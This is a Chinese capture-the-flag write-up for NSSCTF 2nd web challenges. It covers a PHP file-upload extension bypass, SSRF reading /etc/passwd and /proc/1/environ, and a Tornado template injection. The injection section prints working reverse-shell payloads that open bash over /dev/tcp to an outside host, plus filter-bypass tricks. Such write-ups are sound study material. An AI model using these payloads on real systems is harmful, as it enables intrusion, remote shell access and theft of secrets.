NSSCTF_2nd_WP
WEB
php签到
一个文件上传的题目,重点在绕pathinfo($filename, PATHINFO_EXTENSION)
。
参考链接:2021/11/29文件上传-内容及其它逻辑数组绕过
源码:
|
需要自备一个上传的前端。
上传时,上传的文件名为xxx.php/.
,即可让$ext
的值为空,从而绕过waf。需要注意的是,要对文件名来一次url编码,不然会出错。(题目对文件名来了一个urldecode
也算是一个提醒吧)。flag就在环境变量里。
2周年快乐!
纯前端的win12,要和出题人对个脑洞(
在D盘的
NSSCTF_2nd_WriteUp
文件夹里里发现一个hint。在桌面的获取FLAG中得到另一个有用的信息。
结合上述条件,可以猜测是在终端里执行
curl https://www.nssctf.cn/flag
。打开终端,输入队伍的
token
,然后输入curl https://www.nssctf.cn/flag
,即可将flag发到队长的站内邮箱里,去查看站内消息就能看到flag了。
MyBox
这个题存在非预期,用到非预期做的。
打开题目,只看到一个
/?url=dosth
。猜测是ssrf,使用file协议尝试读文件,发现能读。
/?url=file:///etc/passwd
读
/proc/1/environ
,即可得到flag。
MyHurricane
tornado的ssti,狠狠地学习了一波。
参考链接:tornado模板注入
源码:
import tornado.ioloop
import tornado.web
import os
BASE_DIR = os.path.dirname(__file__)
def waf(data):
bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
for c in bl:
if c in data:
return False
for chunk in data.split():
for c in chunk:
if not (31 < ord(c) < 128):
return False
return True
class IndexHandler(tornado.web.RequestHandler):
def get(self):
with open(__file__, 'r') as f:
self.finish(f.read())
def post(self):
data = self.get_argument("ssti")
if waf(data):
with open('1.html', 'w') as f:
f.write(f"""<html>
<head></head>
<body style="font-size: 30px;">{data}</body></html>
""")
f.flush()
self.render('1.html')
else:
self.finish('no no no')
if __name__ == "__main__":
app = tornado.web.Application([
(r"/", IndexHandler),
], compiled_template_cache=False)
app.listen(827)
tornado.ioloop.IOLoop.current().start()从源码可以看到,post的
ssti
参数那里存在ssti。过滤了
{{`、`}}
、(
、)
、单双引号,极其麻烦。先学习一波,学习的时候在本地调试,可以发现在无过滤的情况下,该ssti是可以直接执行
eval
的,但在前端是没有回显的,只返回500,但能在后台执行命令。由于过滤了一些东西,我们需要做一些替换,用
{% %}
代替{{ }}
,在文章的下面我们还看到能绕小括号的方法。由此我们可以发现,我们可以不用括号执行
eval
,而前面的'print(123)'
是eval
的参数,那么我们从别处接收到参数,即可绕过小括号的限制。在文章的中间讲了
request
的用法,因此我们可以利用request
来传递eval
的参数。我们在本地尝试用
request.query
,发现能成功执行命令。从上边的调试中,我们成功突破了限制,在服务器执行了命令,接下来能成功反弹shell就行了。
在文章的末尾,我们看到了一个这样的payload,我们直接拿来用就行了
__import__('os').system('bash -i >& /dev/tcp/xxx/xxx 0>&1')%0a"""%0a&data={%autoescape None%}{% raw request.body%0a _tt_utf8=exec%}&%0a"""
我们修改一下,把%0a替换成回车,把
data
替换成ssti
,再填上反弹服务器的地址和端口,即可成功反弹shell。payload:
__import__('os').system('bash -c \'bash -i >& /dev/tcp/7654du6216.zicp.fun/33699 0>&1\'')
"""
&ssti={%autoescape None%}{% raw request.body%0a _tt_utf8=exec%}&
"""解释一下payload,
{%autoescape None%}{%raw ...%}
可以等同于{{ }}
,这个在官方文档中有写。request.body
返回的是请求的主体,可以理解为返回了post里的所有内容。而下面的"""
则是起注释作用,把我们不需要的部分注释掉,防止出错。